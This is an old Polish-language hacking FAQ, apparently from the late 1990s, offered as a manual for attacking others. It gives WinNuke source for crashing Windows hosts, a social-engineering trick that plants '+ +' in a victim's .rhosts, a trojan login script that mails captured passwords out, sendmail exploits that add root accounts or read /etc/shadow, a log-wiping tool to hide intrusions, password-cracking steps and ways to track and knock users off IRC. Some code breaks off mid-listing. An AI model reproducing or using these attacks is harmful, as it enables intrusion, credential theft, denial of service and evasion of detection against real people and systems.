HTMLized by Mariya
HACK FAQ
* P0WER & Lcamtuf *
ver 0.5+ beta
--------------------------------------------------------------------------------
Dobra zaczne od tego, ze nie ponosze zadnej odpowiedzialnosci jezeli ktos
zrobi sobie krzywde lub straci dostep do internetu. Sa to wiadomosci
napisane w celach edukacyjnych ;)
Ach, i jeszcze cos, czesc materialow sam wymyslilem, a czesc to tylko zwalone
i przetlumaczone kawalki z innych hack faq!
Specjalne podziekowania dla ULTOR'a , tylko dzieki ktoremu wlasciwie pokazalo
sie 0.5 (ja jestem zbyt zajety).
A ja, czyli lcamtuf, zrewidowalem czesc tego faq i dodalem pare moich
programow. Jednoczesnie pragne zapowiedziec WIEEELKIE zmiany (przesadzam)
w tym faq, ktory w kazdym razie bedzie chyba zmierzal w strone pewnego
ujednolicenia, poza tym chyba bedzie mial wreszcie tylko swoja, ekskluzywna
strone www, na ktorej beda wszystkie opisane tu programy. Enjoy!
--------------------------------------------------------------------------------
I. Hackowanie IRC
1 Triki IRC...................................: P0WER
2 Skrypty ....................................: P0WER
3 Przejmowanie kanalu.........................: P0WER
4 Boty........................................: P0WER
5 Winnuke , port 139 .........................: P0WER
6 Wlam na konto dzieki IRC....................: P0WER
7 Jak namierzac i nukowac gosci na irc........: lcamtuf
II. Poczta.
1 Wysylanie fakemaila.........................: P0WER
2 Hackowanie sendmaila starszego niz 5.55.....: P0WER
3 Root z sendmaila 8.8.4......................: MaLc00Lm + P0WER
4 SENDMAIL 5.64...............................: lcamtuf
5 SENDMAIL 5.65...............................: lcamtuf
6 SENDMAIL 8.6.7..............................: lcamtuf
7 SENDMAIL 5.x................................: lcamtuf
8 SENDMAIL 4.1................................: lcamtuf
9 SENDMAIL 8.6.9..............................: lcamtuf
10 SENDMAIL 8.6.?.............................: lcamtuf
11 Sendmail Scanner...........................: lcamtuf
III. Jak hackowac, by nie narobic sobie klopotow.
1 Podstawy....................................: P0WER
2 Jak sie wlamac bezpiecznie..................: lcamtuf
3 KillLOG.....................................: lcamtuf
IV. Unix - to slowo mowi wszystko.
1 Jak zdobyc hasla............................: P0WER + lcamtuf
2 Jak dekryptowac hasla Unixa.................: P0WER
3 Komendy Unixa...............................: P0WER
4 Finger......................................: P0WER
5 Jak komus zamknac konto(czasowo)............: P0WER
6 Anonymous FTP...............................: P0WER
7 Wlamac sie do servera jako guest............: lcamtuf
8 Ping flood..................................: P0WER
9 Jak kogos nastraszyc........................: P0WER
10 Do czego sluza pliki .xxxxx ...............: P0WER
11 Sciaganie passwd...........................: P0WER
12 Jak zalozyc nowe konto.....................: P0WER
13 ident-scan.c - skanuje dziury servera......: P0WER
14 kill all processes.........................: P0WER
V. Dziury w WWW.
1 phf.........................................: P0WER
2 php.........................................: P0WER
3 phpscan.c - skaner php......................: P0WER
4 phpget.c - a jak myslisz???.................: P0WER
5 Vito.c - tester dziur servera http..........: P0WER
VI. Klopoty....................................: P0WER
VII. Unix bugs.................................: lcamtuf
VIII. Skrypty java
1 Killer java.................................: lcamtuf
IX. Bugi serwerow HTTP.........................: lcamtuf
X. Cos dla lamerow.............................: P0WER
XI. Rejestry SHIT'a 95.........................: Ultor
XII. Social engeneering........................: P0WER
1 Podejrzenia.
--------------------------------------------------------------------------------
I Hackowanie IRC (no moze troche przesadzilem)
1 Triki IRC : P0WER
- Fakeowanie mass deopa.
o Zmien nicka na mode
o /me change "-oooo " on channel
by
o mozesz dolozyc tez skrypt, ktory automatycznie bedzie dodawal nick
opow.
- Glupi zart
o Zapros kogos na kanal #5,0 , jesli tam wejdzie, zostanie wyrzucony ze
wszystkich kanalow irc.
- Zdejmowanie +r
o Napisz /mode -r+iw - to juz nie dziala na wielu
serwerach, ale sa dwie dobre metody obejscia tego - po pierwsze
polaczenie sie z innym serwerem irc, na ktorym nie masz +r (ich
liste otrzymasz wpisujac /links). Druga metoda to zdobycie konta
u innego providera internetu (mozna dostac od kumpla) lub
skorzystanie z tzw. anonIRC, czyli swego rodzaju "bramki" pozwalajacej
niemal anonimowo korzystac z irc. Serwery anonIRC pojawiaja sie
i znikaja co chwile, trzeba wiec popytac.
2 Skrypty : P0WER
Dzis coraz wiecej osob uzywa roznych skryptow podczas pracy na IRC, sa to
skrypty pozdrawiajace i takie inne bzdety, ale na oczywiscie interesuja
skrypty wojenne tzw warscripts i ochronne portection scripts.
- Skrypty wojenne:
Sa to skrypty sluzace do utrudniania zycia innym uzytkownikom irc , lub po
prostu do ich wyrzucania z IRC. Dzia3aja one glownie za zasadzie
floodowania, co pozwala czasem wyrzucic uzytkownika z IRC, lub wkurwi go
tak, ze sam sobie pojdzie.
Istnieja dwa glowne programy do IRC pod shita95. Pirch i Mirc. Obydwa
posiadaja setki skryptow wojennych, ktore mozna znalezc na wielu stronach
www (nie pytajcie mnie gdzie).
Nie polece wam tez zadnego skryptu wojennego, bo do Mirc testowalem kilka i
wszystkie byly slabe, a do Pircha sam napisalem sobie skrypt.
Nie bede tutaj tlumaczyl metod dzialania takich skryptow, ale wymienie
kilka podstawowych.
ctcp flood - floodowanie poprzez ping, version i inne funkcje ctcp, ktore
powoduje wyrzucenie uzytkownika z IRC. Zeby efekt byl szybszy i
skuteczniejszy najlepiej jest floodzic kogos z kilku clonow (sa one
dostepne w lepszych wersjach skryptow)
Dcc chat i send - Posylanie komus wielu lewych plikow i chatow, co w
lamerskich programach do irc powoduje otwieranie sie wielu okienek.
Msg flood - Powoduje to otwieranie sie wielu okienek z glupimi tekstami, co
jest strasznie wkuzajace.
- Skrypty do protekcji
Ale wszystko ma swoje czarne strony, bo istnieja skrypty do protekcji
sa to skrypty ktore powoduja ignorowanie adresu ip z ktorego floodujemy
klienta, wtedy trzeba uzywac sprytu, lub poszukac slabych stron
przeciwnika.
(co sie bede o gownach rozpisywal)
3 Przejmowanie kanalu : P0WER
- Narzedzia - potrzebujesz Link lookera(polecam windows link lookera pod
shita 95) i Multi colider bots(choc to drugie nie jest niezbedne).
- Odpalamy Link lookera i szukamy serverow, ktore odlaczyly sie od naszej
sieci.
- Laczymy sie z odlaczonym serverem i wchodzimy na kanal, ktory nas
interesuje, jezeli kanal byl pusty, a my nie mielismy +r to otrzymamy opa.
- Teraz warto siedziec po drugiej stronie, gdzie wszyscy siedza na kanale i
spisac kto ma opa.
- Nie jest to niezbedne, ale jesli kanalem rzadza ludzie doswiadczeni, to
lepiej odpalic multi colide bots, lub stworzyc dodatkowe sesje po
odlaczonej stronie splita, z nikami ludzi, ktorzy maja opa na kanale, ktory
jest celem. Jesli czesc ludzi siedzi po jednej, a czesc po drugiej -
trzeba postawic mcb na obu serwerach. Jesli interesuje was program,
ktory robi to automagicznie - pojawi sie na stronie p0werfaq gdy tylko
stworzymy te strone ;-)
- Czekamy na polaczenie(czasem sie nie doczekamy bo trwa to kilka dni, a
czasem trwa kilka minut, wiec trzeba sie spieszyc). Wspomniany wyzej
program bedzie mozna postawic na serwerze i isc spokojnie spac, gdy
rano wejdziesz na kanal - bedzie on juz w TWOICH rekach :-)
- Po polaczeniu czekamy az wszystkie nasz sesje zabija sie z sesjami osob
po drugiej stronie, ktore mialy opa.
- Pozniej po pelnej wymianie informacji przez servery mamy opa na obydwu
serverach i wtedy odbieramy opa wszystkim pozostalym osoba, ktorym udalo
sie przetrwac atak i kanal jest nasz.
- nie musze chyba mowic co wtedy robimy z kanalem: Invited only, key,
topic: Hacked by, moderate i inne takie wkurwiacze niszczace kanal!!!!
- Moze zdarzyc sie tez, ze namieszamy tak, ze servery nie beda mogly sie
dogadac i powstana lagi i desynchronizacje, wtedy servery beda polaczone,
ale kanaly tak do konca nie no i trzeba bedzie probowac jeszcze raz.
- Wiem ze moze niezbyt jasno opisalem ta metode, ale mowi sie trudno:)
4 Bot : P0WER
Dobra to odddzielna sprawa i malo majaca wspolnego z haczeniem, wiec powiem
tylko poniewaz wielu ludzi pyta mnie jak zalozyc bota , ze trzeba miec
konto unixowe!!!(np na zhaczonym serverze), czesc botow wymaga takze, zeby
server mial klienta irc, czyli, ze jak telnetujesz sie na niego i
napiszesz irc, to wyladujesz w Irc. Proste no nie!!!!!!
5 Winnuke, port 139 : P0WER
Microsoft pozostawial w win95 i NT mnostwo dziur, a jedna z ciekawszych to
niezwykle zachowanie sie systemu po otrzymaniu pakietu OOB (Out Of Bound)
na port 139. Tresc pakietu nie gra jakiejkolwiek roli, system... pada.
Zaleznie od konfiguracji albo sie zawiesza, albo pada system obslugi
tcp/ip, co w obu wypadkach zmusza uzytkownika do zresetowania komputera.
Mozna w ten sposob pozbyc sie uciazliwego lamera na ircu.
Do nukowania sluzy program WinNuke, ktory dostepny jest w wersjach dla
win95 (dostepne niedlugo na stronie p0werfaq'a) i unixowej, ktorej kod
zrodlowy macie ponizej:
--- CUT HERE ---
/* winnuke.c - (05/07/97) By _eci */
/* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */
#include
#include
#include
#include
#include
#include
#include
#define dport 139 /* Attack port: 139 is what we want */
int x, s;
char *str = "Bye"; /* Makes no diff */
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;
int open_sock(int sock, char *server, int port) {
struct sockaddr_in blah;
struct hostent *he;
bzero((char *)&blah,sizeof(blah));
blah.sin_family=AF_INET;
blah.sin_addr.s_addr=inet_addr(server);
blah.sin_port=htons(port);
if ((he = gethostbyname(server)) != NULL) {
bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
}
else {
if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
perror("gethostbyname()");
return(-3);
}
}
if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
perror("connect()");
close(sock);
return(-4);
}
printf("Connected to [%s:%d].\n",server,port);
return;
}
void main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s \n",argv[0]);
exit(0);
}
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("socket()");
exit(-1);
}
open_sock(s,argv[1],dport);
printf("Sending crash... ");
send(s,str,strlen(str),MSG_OOB);
usleep(100000);
printf("Done!\n");
close(s);
}
-----CUT HERE------
W przypadku wersji windowsowej trzeba podac IP goscia - oto jak to zrobic
najprosciej (nie majac zadnych dodatkowych programow):
- Wpisz na ircu /whois i nick goscia
- Pojawi sie cos w stylu "Address: wiochmen@port23.pol.pl"
- Wcisnij "start", wybierz "uruchom..." i wpisz "ping port23.pol.pl"
- Pojawi sie okienko, a w nim powoli pojawi sie kilka linii:
Pinging port23.pol.pl [194.204.153.23] with 32 bytes of data:
...
- Wazny dla ciebie jest adres IP, czyli 194.204.153.23 - skopiuj go
szybko do schowka i wklej do winnuka, wpisz jakis tekst ponizej i...
W przypadku wersji unixowej postepuj tak:
- Przegraj to na jakies konto unixowe za pomoca ftp.
- Zmien nazwe na win.c
- skompiluj przez telnet: gcc win.c
- teraz wystarczy napisac: ./a.out cel, gdzie "cel" to adres domeny lub IP
goscia np: ppp2-cst323.warszawa.tpnet.pl lub 194.160.132.70
A teraz powiem jak sie przed tym zabezpieczyc, przynajmniej na shicie 95, bo
pod windows NT trzeba sciagnac Service Pack 3 (jakies 20 MB):
- Uruchom program "regedit.exe" , znajduje sie on w katalogu twoich winow.
- Wejdz do "galezi"
Hkey_Local_Machine\System\CurrentControlSet\Services\VxD\MSTCP
- Potem nacisnij "Edycja" , "Nowy" , "Wartosc ciagu" i wpisz "BSDUrgent"
- Pozniej nacisnij "Edycja" , "Modyfikuj" i w pode "Dane wartosci" wpisz 0
(zero)
- Zamknij system i uruchom windows ponownie
WAZNE: Jesli ci nie wychodzi - zajrzyj do dalszego rozdzialu, gdzie
opisalem jak namierzac gosci na irc.
6 Wlam na konto dzieki IRC : P0WER
Jesli dodasz "+ +" do czyjego pliku .rhosts spowodujesz, ze kazdy system
bedzie zaufany dla jego konta (dotyczy to tylko systemow z zaimplementowanym
systemem rozproszonego zaufania, na nowych linuxach nie dziala).
Pozwoli ci to na Remote login na jego konto bez podania hasla.
Jednym ze sposobow dodania tej linijki moze byc dodanie jej do jakiegos
popularnego skryptu IRC.
Mozna tez napisac wlasny skrypt i go zainfekowac. Oto linijka jak trzeba
dodac: "exec echo + + > $HOME/.rhosts"...
Lecz jesli uzytkownik jest glupi a ty bedziesz mial troche szczescia mozesz
dodac ta linijke bez skryptu IRC.
Mozesz powiedziec klijentowi zeby sam wpisal sobie taka linijke, ale
musialal by ona wygladac tak: "/exec echo + + > $HOME/.rhosts"...
W momencie kiedy palant doda "+ +" do do .rhosts wystarzy tylko wpisac:
"rlogin -l "
np zey zalogowac sie na konto lamer@idioci.com.pl wystarczy wpisac:
rlogin idioci.com.pl -l lamer - oczywiscie z konta unixowego.
Oto przyklad jak zalatwia sie tym lamera:
*Victim* Dude, do you have any IRC scripts??
/whois Victim
*** Victim is victim@any.system.net (John Doe)
*** on channels: #oralsex
*** on irc via server irc-2.mit.edu ()
/exec echo "exec echo + + > $HOME/.rhosts" >> fenix.irc
/dcc send Victim fenix.irc
*** Sent DCC SEND request to Victim
*** DCC SEND connection to Victim[123.456.0.0,1383] established
*** DCC SEND:/home/myuser/fenix.irc to Victim completed 0.04004 kb/sec
/msg victim just type: /load fenix.irc
-> *victim* just type: /load fenix.irc
*Victim* Ok, I did... thanks.
/msg victim no problem.
-> *victim* no problem.
/quit I am lame
*** Signoff: me (I am lame)
% rlogin any.system.net -l victim
Last login: Tue Feb 14 16:49:42 from secure.bellcore.com
SunOS Release 4.1.3 (ANY) #2: Fri Sep 9 06:12:28 PDT 1994
Default terminal emulation is vt100
For temporary storage please use /tmp
You have mail.
ANY% ls
misc_porno littleboy_nudes
ANY% exit
Connection closed.
%
A tutaj maly dodatek. .login 'trojan' shell script, ktory zastepuje .login
file skryptem, ktory podczas logowania bedzie pokazywal, ze uzytkowniko
podal zle haslo.
Haslo bedzie przesylane na twoj adres maila, wiec widniejacy tam adres
zamien na twoj(ale jakis darmowy, zeby cie nie dupneli).
Mozesz uzywac tego po wejsciu na czyjes konto dzieki .rlogins jesli
koniecznie chcesz znac haslo klijenta.
Skrypt:
----START SCRIPT----
#!/bin/sh
rm -rf $0
cp $HOME/.login $HOME/.l
echo ''>$HOME/.hushlogin
echo "stty intr '^@'
echo 'Login incorrect'
echo -n 'login: '
echo $<>.t
echo -n 'Password: '
stty -echo
echo $<>>.t
mail yourname@your.mail.account.com<.t
rm .t
cat /etc/motd
mv .l .login
rm .hushlogin
stty echo
source .login">$HOME/.login
----END SCRIPT----
7 JAK NAMIERZAC I NUKOWAC GOSCI NA IRCU : lcamtuf
** NAMIERZANIE (nie dziala na laczacych sie przez niektore dialupy):
Vrfy - patrzycie na irc-adres goscia (whois), powiedzmy ze jest to
lamer@komuter1.uczelnia.com. Nastepnie odpalacie telnet i patrzycie,
czy mozna sie polaczyc z portem 25 serwera komuter1.uczelnia.com. Jesli
tak to wpiszcie "vrfy lamer" (w miejsce "lamer" to co gosciu ma przed
znaczkiem @ w irc-adresie). Jesli sie pojawi np.
"Maciej Lamerski " to macie juz imie, nazwisko i e-mail na ktory
mozna wysylac mail-bomby... Moze tez sie pojawic np. "cannot verify user",
ale w takiej sytuacji e-mail to irc-adres. Jesli nie dziala albo pojawia sie
cos w stylu "user unknown" - bierzecie DNS-skaner (dla Win95/WinNT polecam
DNS-Workshop z http://sunsite.icm.edu.pl/tucows) i wpisujecie adres
"komputer1.uczelnia.com". Pojawi sie cos w stylu
"IP address: 194.204.105.15". Wpisujecie wtedy zamiast
"komputer1.uczelnia.com" ten adres, z tym, ze ostatnia liczbe
zastepujecie znakiem '*'. Pojawi sie najpewniej bardzo duuuzo IP i nazw
komputerow i innego syfa, np:
194.204.105.0: No data
194.204.105.1: No data
.......
194.204.105.14: router.uczelnia.com
.......
194.204.105.15: komputer1.uczelnia.com
194.204.105.16: komputer2.uczelnia.com
.......
194.204.105.50: sklep1.mleczarnia.org.pl
....... (i tak dalej...)
Interesujacy jest adres wystepujacy na ogol przed stacjami roboczymi
(komputerX), czyli router.uczelnia.com (zamiast router moze to byc: linux,
unix, boss, main, zenon, angel, punisher :-). W kazdym razie ten oraz ew.
kilka podobnych adresow sprawdzamy telnetem - jesli dziala im port 25 i
"rozpoznaja" (vrfy!) uzytkownika "lamer" (czy innego szukanego...) - sukces,
mamy goscia - jego e-mail to lamer@router.uczelnia.com.
Tak przy okazji oczywiscie dla wszystkich znalezionych komputerow warto
sprawdzic sendmaila, phf, ftp i wszystko inne, a na koniec nukowac wszystkie
komputery robocze, bo najpewniej to sa windowsy :-)
** ROZWALANIE W RAZIE GDY WINNUKE NIE DZIALA
1. Na chama - nukujemy wszystkie komputery znalezione metoda poprzednia
2. Finger - jesli facet siedzi na unixie i ma irc-adres
lamer@router.uczelnia.com to mozna wyslac do niego finger (na adres
lamer@router.uczelnia.com). Unix zwroci dane delikwenta, komputer na
ktorym ircuje (np. komputer1.uczelnia.com). I TU GO MACIE, trzeba nukowac
nie serwer router.uczelnia.com, bo on pracuje na unixie, ale komputer
klienta, ktory najpewniej siedzi na windowsach - komputer1.uczelnia.com
II Poczta
1 Wysylanie fakemaili : P0WER
- telnetuj sie na port 25 serwera, np: telnet mim.pcz.czest.pl 25
- Jezeli to mozliwe pomin "HELO"
- pisz: mail from: (i tu czyis adres e-mailowy)
- pisz: rcpt to: (osoba do ktorej piszesz list)
- server pocztowy powinien pisac ok po kazdej funkcji.
- jezeli cos nie bedzie gralo sprobuj jeszcze raz, ale zacznij od "HELO nikt"
- pozniej wpisz: data i wcisnij ENTER
- wpisz zawartosc listu
- na koncu napisz: .
- a pozniej: quit
- jesli odbiorca to lamer, to nie dojdzie do ciebie po naglowku listu, a
jezeli jest dobry, to sprobuj uzyc serverow, ktore nie dopisuja twojego
IP do listu(pozniej moze poszukam takich serverow).
2 Hackowanie starszego sendmaila niz 5.55 (sprawdzone na SunOs 4.1) : P0WER
- Telnetuj sie na port 25 atakowanego serwera:
telnet mail.twoj.cel.pl 25
- Pojawi ci sie powitanie serwera pocztowego, powinno byc tam jakies 5.x lub
4.x, nowsze wersje lub systemy "nie wygladajace" na zwykle sendmaile
mozesz sobie darowac.
- Napisz:
helo hacker
mail from: "|/bin/mail twoj@email.pl > unf << _EOF_
helo
mail from: very@bad.address.here
rcpt to: another@bad.bad.address
data
owned::0:0:exploitation:/:/bin/sh
.
_EOF_
cat unf | telnet localhost 25 >> /dev/null
rm -rf unf
echo
echo Please wait for dead.letter to possibly be appended to by sendmail.
echo
sleep 10
if grep exploitation /etc/passwd
then
echo Successful addition of account 'owned' to /etc/passwd, running 'su.'
su owned
else
echo Unsuccessful exploitation of symbolic link bug.
fi
---eof---
4 SENDMAIL 5.64 : lcamtuf
Blad w programie uudecode, ktory ma dostep do .rhosts na koncie ofiary -
mozemy za jego pomoca zmienic zawartosc tego pliku! Na poczatek trzeba
zakodowac programem uuencode - dla leni podaje wyglad zakodowanego juz pliku:
-- cut here --
$*R`K"@``
`
end
-- cut here --
Teraz telnetujemy sie na serwer: "telnet ofiara.com 25". Tak wyglada
sesja:
220 enterprise Sendmail 5.64/zippy-1.22.01 ready at Mon, 25 Jun 97 09:34:12
-0400 (GMT)
helo hacker
250 enterprise Hello hacker (ppp2-cst15.warszawa.tpnet.pl), pleased to meet you
mail from: bin
250 bin... Sender ok
rcpt to: decode
250 decode... Recipient ok
data
354 Enter mail, end with "." on a line by itself
begin 644 /XXXX/.rhosts
$*R`K"@``
`
end
.
250 Ok
quit
221 enterprise closing connection
Hehe... Program uudecode dostanie do rozkodowania plik .rhosts zawierajacy
zakodowany tekst '+ +', rozpakuje go... I mozemy bez hasla zalogowac sie
na dowolne konto!!! PS. W miejsce XXXX wpiszcie nazwe konta hackowanego
uzytkowwnika (/home/lamer), albo na chama - konto roota (/root)...
5 SENDMAIL 5.65 : lcamtuf
Wywolanie dowolnych polecen z uprawnieniem roota? Spoko, nie trzeba miec
nawet konta:
220 www.urm.gov.pl 5.65c/IDA-1.4.4 Sendmail is ready at Mon, 8 Nov 1993 19:41:13 -0500
helo hacker
250 Hello cst2-ppp32.warszawa.tpnet.pl, why do you call yourself ?
mail from: |/usr/ucb/tail|/usr/bin/sh
250 |/usr/ucb/tail|/usr/bin/sh... Sender ok
rcpt to: root
250 root... Recipient ok
data
354 Enter mail, end with @.@ on a line by itself
#!/bin/sh
# Tu dowoooolne polecenia, powiedzmy takie:
echo hacker::0:0:nikt:/:/bin/bash >>/etc/passwd
.
250 Ok
quit
221 www.urm.gov.pl closing connection
6 SENDMAIL 8.6.7 : lcamtuf
Trzeba miec konto, ale jesli sie na nim wpisze:
/usr/lib/sendmail -oE/etc/shadow bounce
From: (nazwa twojego konta)
To dostaniesz w prezecie hasla, chocby byly shadowowane!!! Mozna tak
przeczytac kazdy plik.
7 SENDMAIL 5.x : lcamtuf
Utworz plik 'test' o takiej zawartosci (XXXX znaczy to samo co w #5):
-- CUT HERE --
rcpt to: /XXXX/.rhosts
mail from: hacker
data
Test sendmaila
.
rcpt to: /XXXX/.rhosts
mail from: hacker
data
+ +
.
quit
-- CUT HERE --
A teraz wpisz "telnet ofiara.com 25 /tmp/a.c <
#include
#include
#include
#include
reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;
int **av;{struct sockaddr_in mya;struct servent *sp
;fd_set muf;int myfd,new,x,maxfd=getdtablesize();
signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,
0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,
sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))
==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port
=htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,
(struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,
1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if
(select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto
loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()
==0){for(x=2;x
#include
#include
main(argc, argv)
int argc;
char **argv;
{
execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p",
"ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal,
P=/bin/sh, F=lsDFMeu,
A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777
/tmp/newsh\">\n$rascii ",
argv[1] ? argv[1] : "atreus",0);
}
-- CUT HERE --
10 SENDMAIL 8.6.? : lcamtuf
Odczytanie pliku (potrzebne konto).
/usr/lib/sendmail -C/etc/shadow
11 Sendmail Scanner : lcamtuf
Oto moj skaner sendmaili, ktory pomoze wam przeszukac spore ilosci serwerow.
Lista 700 polskich serwerow oraz program do zbierania adresow znajdziecie
na stronie p0werfaq, tam tez wersja tego skanera dla win95 (ten jest dla
linuxa):
-- CUT HERE --
// Sendmail-SCANNER 1.0b
// (c) lcamtuf '97
// E-mail: lcamtuf@polbox.com
#include
#include
#include
#include
#include
#include
#include
#define TIMEOUT 5
FILE *server;
int sock,to;
void timeout(int signo) { to=1; };
void sm(char *host) {
char inbuf[1024];
struct sockaddr_in sin;
struct hostent *hp;
int x;
hp=gethostbyname(host);
if (h_errno!=0) {
printf("Nie moge namierzyc %s, pomijam...\n",host);
return;
}
bcopy(hp->h_addr,(char *) &sin.sin_addr,hp->h_length);
sin.sin_family=hp->h_addrtype;
sin.sin_port=htons(25);
sock=socket(AF_INET,SOCK_STREAM,0);
if (-1
#include
#include
#include
#include
#include
#include
#include
#ifndef WTMP
#define WTMP "/var/log/wtmp"
#endif
#ifndef UTMP
#define UTMP "/var/run/utmp"
#endif
#ifndef LAST
#define LAST "/var/log/lastlog"
#endif
int f,err=0;
void kill_utmp(char *who) {
struct utmp utmp_ent;
printf("Cleaning utmp... ");
if ((f=open(UTMP,O_RDWR))>=0) {
while(read(f,&utmp_ent,sizeof(utmp_ent))>0)
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(utmp_ent));
lseek(f,-sizeof(utmp_ent),SEEK_CUR);
write(f,&utmp_ent,sizeof(utmp_ent));
}
close(f);
printf("done.\n");
} else {
printf("unable to open logfile.\n");
err=3;
}
}
void kill_wtmp(char *who) {
struct utmp utmp_ent;
long pos=1L;
printf("Cleaning wtmp... ");
if ((f=open(WTMP,O_RDWR))>=0) {
while(pos!=-1L) {
lseek(f,-(long)((sizeof(struct utmp))*pos),L_XTND);
if (read(f,&utmp_ent,sizeof(struct utmp))<0) pos=-1L;
else if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp));
lseek(f,-((sizeof(struct utmp))*pos),L_XTND);
write(f,&utmp_ent,sizeof(utmp_ent));
pos=-1L;
} else pos+=1L;
}
close(f);
printf("done.\n");
} else {
printf("unable to open logfile.\n");
err=4;
}
}
void kill_lastlog(char *who) {
struct passwd *pwd;
struct lastlog newll;
printf("Cleaning lastlog... ");
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LAST,O_RDWR))>=0) {
lseek(f,(long)pwd->pw_uid*sizeof(struct lastlog),0);
bzero((char *)&newll,sizeof(newll));
write(f,(char *)&newll,sizeof(newll));
close(f);
printf("done.\n");
} else {
printf("unable to open logfile.\n");
err=2;
}
} else {
printf("user not found.\n");
err=1;
}
}
int main(int argc,char *argv[]) {
printf("\nKill-LOG++ 0.99b -- Linux Log Cleaner (improved by lcamtuf)\n");
if (argc!=1) {
printf("----------\nRemoving user's activity from logs.\n",argv[1]);
kill_lastlog(argv[1]);
if (!err) kill_wtmp(argv[1]);
if (!err) kill_utmp(argv[1]);
if (!err) printf("Cool! Everything is ok.\n");
else printf("Damn! Something fucked up.\n");
printf("----------\n\n");
} else printf("Usage: %s username\n\n",argv[0]);
return err;
}
-- CUT HERE --
IV Unix
1 Jak zdobyc hasla : P0WER
Jezeli twoj system ma Yellow Pages file managment napisz "ypcat /etc/passwd"
lub "ypcat passwd", a powinienes dostac hasla (uwaga, w /etc/passwd nie
znajdziesz prawie nic, gdyz NIS, zwany tez Yellow Pages, to system
pozwalajacy na korzystanie z tych samych hasel na wielu serwerach w
jednej sieci i inaczej wyglada tam przechowywanie hasel).
Mozna tez probowac tym programikiem, ale ja osobiscie w niego nie wierze
(po prostu jest cholernie stary i moze zadzialac tylko na archiwalnym
systemie ;-):
#include
main() {
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
2 Jak dekryptowac hasla unixa? : P0WER
Sluza do tego programy jak John the ripper, Cracker Jack, czy Killer Crack.
Ja uzywa, Johna 1.4 , ale wybor nalezy do was. Wszystkie te programy
dzialaja pod Dosem. Sa tez programy pod unixa np Crack5.0, ale go nie
testowalem. Opisze tu obsluge Johna.
Na poczatku potrzebny jest slownik, ktore mozna znalezc na wielu stronach.
nazwijmy go slownik.txt a plik z haslami ktory posiadamy passwd.txt
pierwsza metoda dziala bez slownika, jest najprostsza.
john -single -pwfile:passwd.txt
druga metoda dziala ze slownikiem.
john -pwfile:passwd.txt -wordfile:slownik.txt
trzecia metoda posluguje sie slownikiem i kombinacjami, jezesli -single
trwa kilka sekund, to -rulez kilka godzin, lecz to zalezy od slownika i
ilosci kont(powiedzmy 5 godz , przy 100 kontach i P150)
john -rules -pwfile:passwd.txt -wordfile:slownik.txt
3 Podstawowe komendy unixa : P0WER
cat - przeglada plik jak view. np: cat /etc/passwd ;)
chmod [mode] [plik] - zmiana dostepow do pliku.
chown [nick] [plik] - zmiana wlasciciela pliku.
cd [dir] - zmiana katalogu, cd .. cofanie sie o ktalog
cp [plik] [plik] - kopiowanie z nowa nazwa.
diff [plik] [plik] - pokazywanie roznicy miedzy dwoma plikami.
-b -ignoruj puste miejsca
find [skad_zaczac] -name [nazwa] - poszukiwanie plikow np: find / -name
password
finger [username] - informacje o uzytkowniku. Mozna tez z zewnatrz finger
user@server.pl
gcc plik - kompilacja
grep [wyraz] [nazwa pliku] - przeszukiwanie plikow za jakims wyrazem.
help - pomoc
irc - uruchomienie klijenta irc.
kill - ma powiazania z ps , moze zabijac procesy w pamieci korzystjac z
numeru PID.(patrz ps)
$ kill -9 123
[123]: killed
mozna tez zabic siebie "kill -1 0"
ls - listowanie plikow ls -l daje wiecej info o plikach i katalogach.
man [komenda] - pomoc w konkretnej komendzie.
mail - czytanie poczty
mkdir [katalog] - tworzenie nowego katalogu.
mv [plik] [plik] - zmiana nazwy pliku, lub przeniesienie do innego
katalogu.
passwd - zmiana hasla.
ps - pokazuje co robisz w pamieci i jaki to ma numer (PID)
PID TTY NAME
122 001 ksh
123 001 watch
pwd - pokazuje w jakim jestesmu katalogu.
rm [plik] - kasuje plik
rmdir [katalog] - kasuje katalog gdy jest pusty.
rwho - to samo co who.
screen - dopalanie procesu w tle, np: by zostawic ircbota.
tar -xvf 8.tar - roztarowywanie pliku.
who - wypisuje info o zalogowanych uzytkownikach.
write [login] - pisanie do innego zalogowanego uzytkownika.
4 Finger : P0WER
Czesc serverow zezwala na przesylanie fingera do innego hosta(redirections).
$ finger @host.jeden.pl@host.dwa.pl
finger pojdzie przes system jeden do drugiego, az tamten dowie sie ze to
pierwszy host poslal finger.
Moze to byc uzywane do ukrycia fingera, lub jako bardzo dokuczliwy trik.
Piszac:
$ finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@host.ktory.atakujesz.pl
Wtedy wszystkie @ beda powodowaly powtorzenia fingera po raz kolejny, moze
to doprowadzic do zwolnienia dzialania servera, zajecia mu czesci pamieci i
twardego dysku.
